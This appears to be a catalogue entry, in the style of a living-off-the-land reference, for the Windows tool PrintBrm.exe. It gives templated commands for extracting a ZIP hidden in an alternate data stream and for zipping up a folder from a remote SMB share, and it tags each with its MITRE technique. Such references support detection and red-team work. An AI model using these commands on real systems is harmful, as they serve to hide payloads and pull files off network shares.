PrintBrm.exe

Printer Migration Command-Line Tool

ADS

Decompress and extract a ZIP file stored on an alternate data stream to a new folder

PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder}

Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder — MITRE: T1564.004 — Privileges: User

Download

Exfiltrate the contents of a remote folder on a UNC share into a zip file

PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}

Create a ZIP file from a folder in a remote drive — MITRE: T1105 — Privileges: User